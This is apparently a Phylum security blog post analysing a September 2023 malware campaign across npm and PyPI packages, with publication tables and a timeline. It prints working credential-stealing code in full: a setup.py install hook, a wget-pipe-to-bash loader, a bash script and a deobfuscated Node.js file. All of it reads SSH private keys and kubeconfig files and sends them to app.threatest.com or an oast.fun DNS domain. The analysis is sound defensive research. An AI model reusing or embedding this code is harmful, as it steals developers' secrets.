Sensitive Data Exfiltration Campaign Targets npm and PyPI
Phylum has discovered another new multi-ecosystem campaign aiming to exfiltrate sensitive machine information to a remote server. The attack has grown in both scope and complexity over the course of the past weeks and appears to be ongoing. Phylum will continue to actively monitor it, providing updates as we learn more.
--cta--
Background and start of campaign
Phylum's automated risk detection platform first alerted us to a suspicious publication back on September 12, 2023, which, as we would later learn, would be the start of a widespread data exfiltration campaign targeting both npm and PyPI. The package was called @am-fe/components
and contained just four files, including an obfuscated index.js
. Deobfuscating the file reveals an attempt to exfiltrate sensitive data, including kubeconfig files and SSH keys to a remote URL. In the following two weeks, we observed a total of 46 publications distributed among 39 distinct packages within two ecosystems associated with this campaign.
Given the vast number of packages associated with this campaign, the subtle variations in tactics across them, and the fact that it spans two languages—Python and JavaScript—we will focus on highlighting the most intriguing parts from the publication history rather than displaying all the code. For completeness, you can find a deobfuscated version of the earlier and smaller JavaScript code that, for the most part, shows the general intent of the campaign.
The timeline
For the first two days of the campaign, the attacker released 21 npm packages, all with the malicious files obfuscated. It’s worth noting here that a common technique in JavaScript obfuscation involves collecting all the code’s strings into a scrambled array. The strings are then accessed dynamically via indexing later through a convoluted retrieval mechanism in the obfuscated code as needed. This ensures that while the code remains functionally identical, its original intent and structure are concealed. What’s interesting in this case is that in these first few packages, while the code itself is obfuscated, the strings contained within the scrambled array are not. Consequently, even without deobfuscating the code, it’s fairly easy to quickly understand what the intent of the code is by taking a look at the scrambled array.
Here are the packages published in the first two days:
Package | Version | Ecosystem | Publish Date | Malicious File |
---|---|---|---|---|
@am-fe/components | 0.0.1-beta.16 | npm | 2023-09-12 02:56:24 | package/index.js |
@am-fe/hooks | 0.0.1-beta.3 | npm | 2023-09-12 03:01:10 | package/index.js |
@am-fe/provider | 0.0.1-alpha.8 | npm | 2023-09-12 19:35:29 | package/index.js |
@am-fe/watermark | 1.0.1 | npm | 2023-09-12 19:37:03 | package/index.js |
@am-fe/utils | 0.0.1-alpha.3 | npm | 2023-09-12 19:44:17 | package/index.js |
@soc-fe/use | 0.0.2-beta.8 | npm | 2023-09-12 20:29:30 | package/index.js |
shineouts | 1.12.16-beta.0 | npm | 2023-09-12 20:59:51 | package/index.js |
@dynamic-form-components/shineout | 1.0.4-alpha.3 | npm | 2023-09-12 23:37:30 | package/index.js |
@dynamic-form-components/mui | 1.4.2-alpha.1 | npm | 2023-09-12 23:43:07 | package/index.js |
@expue/app | 0.0.2-alpha.0 | npm | 2023-09-13 01:20:11 | package/index.js |
@expue/builder | 0.0.3-alpha.0 | npm | 2023-09-13 19:07:35 | package/index.js |
@expue/cli | 0.0.3-alpha.0 | npm | 2023-09-13 19:08:42 | package/index.js |
@expue/config | 0.0.3-alpha.0 | npm | 2023-09-13 19:09:06 | package/index.js |
@expue/core | 0.0.3-alpha.0 | npm | 2023-09-13 19:09:31 | package/index.js |
@expue/plugin-express | 0.0.3-alpha.0 | npm | 2023-09-13 19:10:30 | package/index.js |
@expue/shared | 0.0.3-alpha.0 | npm | 2023-09-13 19:11:05 | package/index.js |
@expue/types | 0.0.3-alpha.0 | npm | 2023-09-13 19:27:39 | package/index.js |
@expue/vue-renderer | 0.0.3-alpha.0 | npm | 2023-09-13 19:28:54 | package/index.js |
@expue/vue3-helper | 0.0.3-alpha.0 | npm | 2023-09-13 19:30:01 | package/index.js |
@expue/vue3-renderer | 0.0.3-alpha.0 | npm | 2023-09-13 19:31:15 | package/index.js |
@sheinoutmobile/sheinoutmobile | 1.6.0 | npm | 2023-09-13 19:51:05 | package/index.js |
All the packages above contained the same four files. Aside from the package.json
and a minimal README.md
they also contained:
index.js
: the obfuscated malicious filetest.js
: a simple one-line script containing onlyconsole.log("Hello World!");
All packages released prior to @expue/app
did not contain any install hooks. This means the victim would have had to run the malicious file manually. @expue/app
and all packages published thereafter contained a simple "preinstall": "node index.js"
hook in the package.json
file. This means that the malicious file would now be executed automatically upon installation.
For the next two days, the attacker released six more npm packages and one PyPI package. They first released apm-web-vitals
which appeared to be a full complete package with dozens of files (likely lifted from another project) and contained the install hook "preinstall": "node src/index.js"
, however, this was likely a mistake because there is no src/index.js
file in that package. The malicious file is in src/main.js
. They then released a package called systemrobotassistant
with an updated hook, pointing correctly to the malicious file.
At this point the attacker shifted to PyPI releasing a package called ssc-concurrent-log-handler
. This package contained the following setup.py
file:
import setuptools
import os
from setuptools.command.install_scripts import install_scripts
import base64
import socket
import getpass
import json
import platform
from datetime import datetime
packagename = "ssc-concurrent-log-handler"
class InstallScripts(install_scripts):
def run(self):
setuptools.command.install_scripts.install_scripts.run(self)
hostname = socket.gethostname()
intranet_ip = ""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 80))
intranet_ip = s.getsockname()[0]
finally:
s.close()
# print(intranet_ip)
username = getpass.getuser()
currentTime = datetime.now()
externalIp = ""
try:
externalIp = str(os.popen("curl http://ifconfig.io").read())
except Exception:
pass
home_dir = os.environ['HOME']
current_path = os.getcwd()
python_version = platform.python_version()
kube_dir = os.path.join(home_dir, ".kube", "config")
sshkey_dir = os.path.join(home_dir, ".ssh", "id_rsa")
if os.path.exists(kube_dir):
with open(kube_dir, 'r') as f:
kube_file = f.read()
else:
kube_file = ""
if os.path.exists(sshkey_dir):
with open(sshkey_dir, 'r') as f:
ssh_file = f.read()
else:
ssh_file = ""
data = {
"currentTime": str(currentTime),
"packagename": str(packagename),
"current_path": str(current_path),
"hostname": str(hostname),
"username": str(username),
"intranet_ip": str(intranet_ip),
"externalIp": str(externalIp).strip(),
"python_version": str(python_version),
"kubeconfig": str(base64.b64encode(str(kube_file).encode("utf-8")), "utf-8"),
"sshkey": str(base64.b64encode(str(ssh_file).encode("utf-8")), "utf-8")
}
jdata = json.dumps(data)
cmd = "curl -k -v -X POST -H \"Content-type:application/x-www-form-urlencoded\" https://app.threatest.com/report/ -d \'msg="
cmd = cmd + str(jdata) + "\'"
os.system(cmd)
setuptools.setup(name=packagename,
version='0.0.13',
author='elyesefwqlv',
license='MIT',
cmdclass={
"install_scripts": InstallScripts
}
)
As mentioned earlier, this is effectively a port of the JavaScript code and because it’s in the setup file, it’ll also run directly upon installation. Here are the packages published during this time:
Package | Version | Ecosystem | Publish Date | Malicious File |
---|---|---|---|---|
apm-web-vitals | 0.0.1-rc.3 | npm | 2023-09-14 01:04:09 | package/src/main.js |
systemrobotassistant | 3.0.8 | npm | 2023-09-14 01:31:02 | package/src/main.js |
ssc-concurrent-log-handler | 0.0.12 | pypi | 2023-09-14 04:06:56 | ssc-concurrent-log-handler-0.0.12/setup.py |
@sheinoutmobile/shineoutmobile | 1.8.2 | npm | 2023-09-14 04:08:57 | package/src/index.js |
ssc-concurrent-log-handler | 0.0.13 | pypi | 2023-09-14 04:46:56 | ssc-concurrent-log-handler-0.0.12/setup.py |
@virtualsearchtable/virtualsearchtable | 0.1.0 | npm | 2023-09-14 21:09:13 | package/scripts/index.js |
@fixedwidthtable/fixedwidthtable | 0.0.1 | npm | 2023-09-14 21:12:32 | package/scripts/index.js |
@fixedwidthtable/fixedwidthtable | 0.0.2 | npm | 2023-09-14 21:12:36 | package/scripts/index.js |
@spgy/eslint-plugin-spgy-fe | 1.0.0-rc.1 | npm | 2023-09-14 22:35:39 | package/scripts/index.js |
@spgy/eslint-plugin-spgy-fe | 1.0.0-rc.2 | npm | 2023-09-15 02:46:33 | package/scripts/index.js |
@fixedwidthtable/fixedwidthtable | 0.0.3 | npm | 2023-09-15 02:48:13 | package/scripts/index.js |
@virtualsearchtable/virtualsearchtable | 0.1.1 | npm | 2023-09-15 02:49:41 | package/scripts/index.js |
The attacker then appears to have taken a small break (or perhaps just observed the weekend?) because no new packages were released on September 16 or 17. However, on September 18, they came back to work with new ideas. They started by releasing sc-concurrent-log-handler
in which, instead of writing the data collection code in plain text directly in the setup file, they simply pull and execute a bash script from a different subdomain. Here’s the relevant part of the setup file:
shell = b'wget -qO - https://down.threatest.com/uploads/install.sh | bash'
encoded = base64.b64encode(shell)
os.system('echo %s|base64 -d|bash' % encoded)
We managed to pull that shell script from the remote server. Here it is:
#!/bin/bash
touch ConceptualTest.txt
tagDen="pip"
doma='cjq18vv2vtc0000pszdggkb7ssayyyyyd.oast.fun'
# DNS part
# About the OS [H]
nslookup "$(uname).$tagDen.H.$doma"
# About kernelname uname [N]
nslookup "$(hostname).$tagDen.N.$doma"
# About kernel release uname -r [R]
nslookup "$(whoami).$tagDen.R.$doma"
# path pwd [P]
nslookup "$(pwd).$tagDen.P.$doma"
# HTTP request
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d 'msg={
"Current_Time":"'$(date +'%Y-%m-%dT%H:%M:%S.%3NZ')'",
"Os_Version": "'$(uname -a | base64| tr -d '\n')'",
"Current_Path": "'$(pwd)'",
"HostName": "'$(hostname)'",
"UserName": "'$(whoami)'",
"ID": "'$(id | cut -d '(' -f 1)'",
"External_ip": "'$(curl -s ifconfig.me)'",
"Intranet_ip": "'$(ifconfig | grep -m 1 'inet ' | awk '{print $2}')'",
"Tag": "'${tagDen}'",
"SSH_Private_Key": "'$(cat $HOME/.ssh/id_rsa | base64)'",
"Kubernetes_Config": "'$(cat $HOME/.kube/config | base64)'"
}' "https://app.threatest.com/report/"
Unsurprisingly, it effectively collects it the same information and again ships it off to the innocuous sounding endpoint “report”. You can see they make claims of “testing” in the script and use an OAST domain, but we’re skeptical given the amount of obfuscation and number of packages we’ve seen and the fact that they’re exfiltrating private SSH keys and kubeconfig files. Aboveboard bug bounty hunting shouldn’t be going to that extent. Here are the packages published during this time:
Package | Version | Ecosystem | Publish Date | Malicious File |
---|---|---|---|---|
sc-concurrent-log-handler | 0.0.13 | pypi | 2023-09-18 03:59:05 | sc-concurrent-log-handler-0.0.13/setup.py |
ss-concurrent-log-handler | 0.0.13 | pypi | 2023-09-18 04:03:56 | sc-concurrent-log-handler-0.0.13/setup.py |
sc-concurrent-log-handler | 0.0.14 | pypi | 2023-09-18 04:21:32 | sc-concurrent-log-handler-0.0.14/setup.py |
Then, they took another break for two days and then shifted tactics once again. On September 20, they released four new packages and updated a previously published one. This time, however, they elected to Base64-encode the strings in the obfuscated malicious file. This means that previously, in the scrambled array, you would find an item like "app.threatest.com"
but in this updated version, you’d now see "YXBwLnRocmVhdGVzdC5jb20="
. Here are the packages with Base64-encoded strings:
Package | Version | Ecosystem | Publish Date | Malicious File |
---|---|---|---|---|
am-packages | 0.0.1 | npm | 2023-09-20 00:36:41 | package/dist/index.js |
apm-web-vitals | 1.0.2 | npm | 2023-09-20 00:54:42 | package/dist/index.js |
eslint-plugin-shein-soc-raw | 1.1.4 | npm | 2023-09-20 23:00:50 | package/lib/config.js |
eslint-plugin-spgy-fe | 1.0.1 | npm | 2023-09-20 23:01:25 | package/lib/config.js |
sun-flare | 1.0.9 | npm | 2023-09-20 23:20:32 | package/flare.beta.js |
Then, after another two-day break they released five more npm packages. This time, the strings of interest were double Base64-encoded! So instead of "app.threatest.com"
or even "YXBwLnRocmVhdGVzdC5jb20="
, you’d now see "WVhCd0xuUm9jbVZoZEdWemRDNWpiMjA9"
in the scrambled string array.
Package | Version | Ecosystem | Publish Date | Malicious File |
---|---|---|---|---|
@zxncij2390/monorepo3 | 3.18.0 | npm | 2023-09-24 20:12:07 | package/pre-install.cjs |
@zxncij2390/upload-ali-oss | 0.1.2 | npm | 2023-09-24 22:43:07 | package/post-install.cjs |
@zxncij2390/wash-care-symbol | 1.0.3 | npm | 2023-09-24 22:45:31 | package/post-install.cjs |
xia-kit | 0.0.1-beta.4 | npm | 2023-09-24 23:14:46 | package/src/post-install.cjs |
rate-my-web | 1.0.6 | npm | 2023-09-24 23:22:44 | package/post-install.cjs |
It’s worth mentioning that in these later packages, the malicious file has grown significantly in size. For example, in rate-my-web
the malicious file is over 30kB in size—compared to the 5kB range in the earlier packages.
A note about threatest
There is a tool by DataDog called Threatest that, according to its README, “is a CLI and Go framework for testing threat detection end-to-end”. They go on to say
Threatest allows you to detonate an attack technique, and verify that the alert you expect was generated in your favorite security platform.
We suspect that the attackers may have used a domain of the same name in an attempt to blend in with a known security tool. The whois information about this domain reveals that it was registered on September 12, which coincides exactly with the start of the attack.
Where does that leave us?
It's clear that this is a deliberate, evolving attack that is increasing in its complexity, scope, and obfuscation techniques. As this campaign continues, its spread across multiple ecosystems—a trend we observe more often nowadays—once again underscores the vital importance of trusting your dependencies in every ecosystem you use. Given the extensive range of package names, discerning a specific target in this campaign remains challenging at this point.
Full publication history
Package | Version | Ecosystem | Publish Date | Malicious File |
---|---|---|---|---|
@am-fe/components | 0.0.1-beta.16 | npm | 2023-09-12 02:56:24 | package/index.js |
@am-fe/hooks | 0.0.1-beta.3 | npm | 2023-09-12 03:01:10 | package/index.js |
@am-fe/provider | 0.0.1-alpha.8 | npm | 2023-09-12 19:35:29 | package/index.js |
@am-fe/watermark | 1.0.1 | npm | 2023-09-12 19:37:03 | package/index.js |
@am-fe/utils | 0.0.1-alpha.3 | npm | 2023-09-12 19:44:17 | package/index.js |
@soc-fe/use | 0.0.2-beta.8 | npm | 2023-09-12 20:29:30 | package/index.js |
shineouts | 1.12.16-beta.0 | npm | 2023-09-12 20:59:51 | package/index.js |
@dynamic-form-components/shineout | 1.0.4-alpha.3 | npm | 2023-09-12 23:37:30 | package/index.js |
@dynamic-form-components/mui | 1.4.2-alpha.1 | npm | 2023-09-12 23:43:07 | package/index.js |
@expue/app | 0.0.2-alpha.0 | npm | 2023-09-13 01:20:11 | package/index.js |
@expue/builder | 0.0.3-alpha.0 | npm | 2023-09-13 19:07:35 | package/index.js |
@expue/cli | 0.0.3-alpha.0 | npm | 2023-09-13 19:08:42 | package/index.js |
@expue/config | 0.0.3-alpha.0 | npm | 2023-09-13 19:09:06 | package/index.js |
@expue/core | 0.0.3-alpha.0 | npm | 2023-09-13 19:09:31 | package/index.js |
@expue/plugin-express | 0.0.3-alpha.0 | npm | 2023-09-13 19:10:30 | package/index.js |
@expue/shared | 0.0.3-alpha.0 | npm | 2023-09-13 19:11:05 | package/index.js |
@expue/types | 0.0.3-alpha.0 | npm | 2023-09-13 19:27:39 | package/index.js |
@expue/vue-renderer | 0.0.3-alpha.0 | npm | 2023-09-13 19:28:54 | package/index.js |
@expue/vue3-helper | 0.0.3-alpha.0 | npm | 2023-09-13 19:30:01 | package/index.js |
@expue/vue3-renderer | 0.0.3-alpha.0 | npm | 2023-09-13 19:31:15 | package/index.js |
@sheinoutmobile/sheinoutmobile | 1.6.0 | npm | 2023-09-13 19:51:05 | package/index.js |
apm-web-vitals | 0.0.1-rc.3 | npm | 2023-09-14 01:04:09 | package/src/main.js |
systemrobotassistant | 3.0.8 | npm | 2023-09-14 01:31:02 | package/src/main.js |
ssc-concurrent-log-handler | 0.0.12 | pypi | 2023-09-14 04:06:56 | ssc-concurrent-log-handler-0.0.12/setup.py |
@sheinoutmobile/shineoutmobile | 1.8.2 | npm | 2023-09-14 04:08:57 | package/src/index.js |
ssc-concurrent-log-handler | 0.0.13 | pypi | 2023-09-14 04:46:56 | ssc-concurrent-log-handler-0.0.12/setup.py |
@virtualsearchtable/virtualsearchtable | 0.1.0 | npm | 2023-09-14 21:09:13 | package/scripts/index.js |
@fixedwidthtable/fixedwidthtable | 0.0.1 | npm | 2023-09-14 21:12:32 | package/scripts/index.js |
@fixedwidthtable/fixedwidthtable | 0.0.2 | npm | 2023-09-14 21:12:36 | package/scripts/index.js |
@spgy/eslint-plugin-spgy-fe | 1.0.0-rc.1 | npm | 2023-09-14 22:35:39 | package/scripts/index.js |
@spgy/eslint-plugin-spgy-fe | 1.0.0-rc.2 | npm | 2023-09-15 02:46:33 | package/scripts/index.js |
@fixedwidthtable/fixedwidthtable | 0.0.3 | npm | 2023-09-15 02:48:13 | package/scripts/index.js |
@virtualsearchtable/virtualsearchtable | 0.1.1 | npm | 2023-09-15 02:49:41 | package/scripts/index.js |
sc-concurrent-log-handler | 0.0.13 | pypi | 2023-09-18 03:59:05 | sc-concurrent-log-handler-0.0.13/setup.py |
ss-concurrent-log-handler | 0.0.13 | pypi | 2023-09-18 04:03:56 | sc-concurrent-log-handler-0.0.13/setup.py |
sc-concurrent-log-handler | 0.0.14 | pypi | 2023-09-18 04:21:32 | sc-concurrent-log-handler-0.0.14/setup.py |
am-packages | 0.0.1 | npm | 2023-09-20 00:36:41 | package/dist/index.js |
apm-web-vitals | 1.0.2 | npm | 2023-09-20 00:54:42 | package/dist/index.js |
eslint-plugin-shein-soc-raw | 1.1.4 | npm | 2023-09-20 23:00:50 | package/lib/config.js |
eslint-plugin-spgy-fe | 1.0.1 | npm | 2023-09-20 23:01:25 | package/lib/config.js |
sun-flare | 1.0.9 | npm | 2023-09-20 23:20:32 | package/flare.beta.js |
@zxncij2390/monorepo3 | 3.18.0 | npm | 2023-09-24 20:12:07 | package/pre-install.cjs |
@zxncij2390/upload-ali-oss | 0.1.2 | npm | 2023-09-24 22:43:07 | package/post-install.cjs |
@zxncij2390/wash-care-symbol | 1.0.3 | npm | 2023-09-24 22:45:31 | package/post-install.cjs |
xia-kit | 0.0.1-beta.4 | npm | 2023-09-24 23:14:46 | package/src/post-install.cjs |
rate-my-web | 1.0.6 | npm | 2023-09-24 23:22:44 | package/post-install.cjs |
The Code
Here’s a snippet of the earlier malicious files deobfuscated. The later files get much larger in size—exceeding 30kB in some cases.
const os = require('os');
const dns = require('dns');
const querystring = require('querystring');
const https = require('https');
const child_process = require('child_process');
const fs = require('fs');
const path = require('path');
const packageJSON = require('./package.json');
const packageName = packageJSON.name;
const currentDir = process.cwd();
const hostname = os.hostname();
const activeDirectoryDomain = process.env.USERDNSDOMAIN;
const username = os.userInfo().username;
const dnsServers = dns.getServers();
const networkInterfaces = os.networkInterfaces();
let ipv4 = '';
let ipv6 = '';
let macAddr = '';
Object.keys(networkInterfaces).forEach(iface => {
networkInterfaces[iface].forEach(addressInfo => {
if (addressInfo.family === 'IPv4' && !addressInfo.internal) {
ipv4 = addressInfo.address;
}
if (addressInfo.family === 'IPv6' && !addressInfo.internal) {
ipv6 = addressInfo.address;
}
if (addressInfo.mac && addressInfo.mac !== '00:00:00:00:00:00') {
macAddr = addressInfo.mac;
}
});
});
const resolvedPath = packageJSON.___resolved;
const nodeVersion = process.version;
const kubeConfigFilePath = path.join(os.homedir(), '.kube', '/config');
const sshKeyFilePath = path.join(os.homedir(), '.ssh', 'id_rsa');
const collectFileContent = filePath => {
try {
return fs.readFileSync(filePath, 'utf8');
} catch (error) {
console.error(error);
return '';
}
};
const isVirtualMachine = () => {
const cpuModel = os.cpus()[0].model;
const vendor = os.cpus()[0].vendor;
const platform = os.platform();
return (cpuModel.includes('VMware Virtual Processor') && vendor === 'GenuineIntel') ||
cpuModel.includes('QEMU Virtual CPU') ||
cpuModel.includes('VirtualBox') ||
(platform === 'linux' && fs.existsSync('/dev/kvm'));
};
const getExternalIp = async () => {
try {
const data = await https.get('https://ipinfo.io/json', response => {
response.setEncoding('utf8');
let rawData = '';
response.on('data', chunk => { rawData += chunk; });
response.on('end', () => {
const parsedData = JSON.parse(rawData);
const externalIp = parsedData.ip;
const payload = {
current_time: new Date().toISOString(),
package: packageName,
script_path: process.argv[1],
current_path: currentDir,
hostname,
ad: activeDirectoryDomain,
username,
dns: dnsServers,
intranet_ipv4: ipv4,
intranet_ipv6: ipv6,
mac_addr: macAddr,
npm_version: nodeVersion,
r: resolvedPath,
kube_config: collectFileContent(kubeConfigFilePath),
ssh_key: collectFileContent(sshKeyFilePath),
external_ip: externalIp,
isVirtualMachine: isVirtualMachine(),
pjson: packageJSON
};
const postData = querystring.stringify({ msg: JSON.stringify(payload) });
const requestOptions = {
hostname: 'app.threatest.com',
port: 443,
path: '/report/',
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': postData.length
}
};
const req = https.request(requestOptions, res => {
res.on('data', d => { process.stdout.write(d); });
});
req.on('error', error => { console.error(error); });
req.write(postData);
req.end();
});
});
} catch (error) {
console.error(error);
}
};
if (path.basename(process.argv[1]) === 'index.js') {
getExternalIp();
} else {
console.warn('This script can only be run from index.js');
}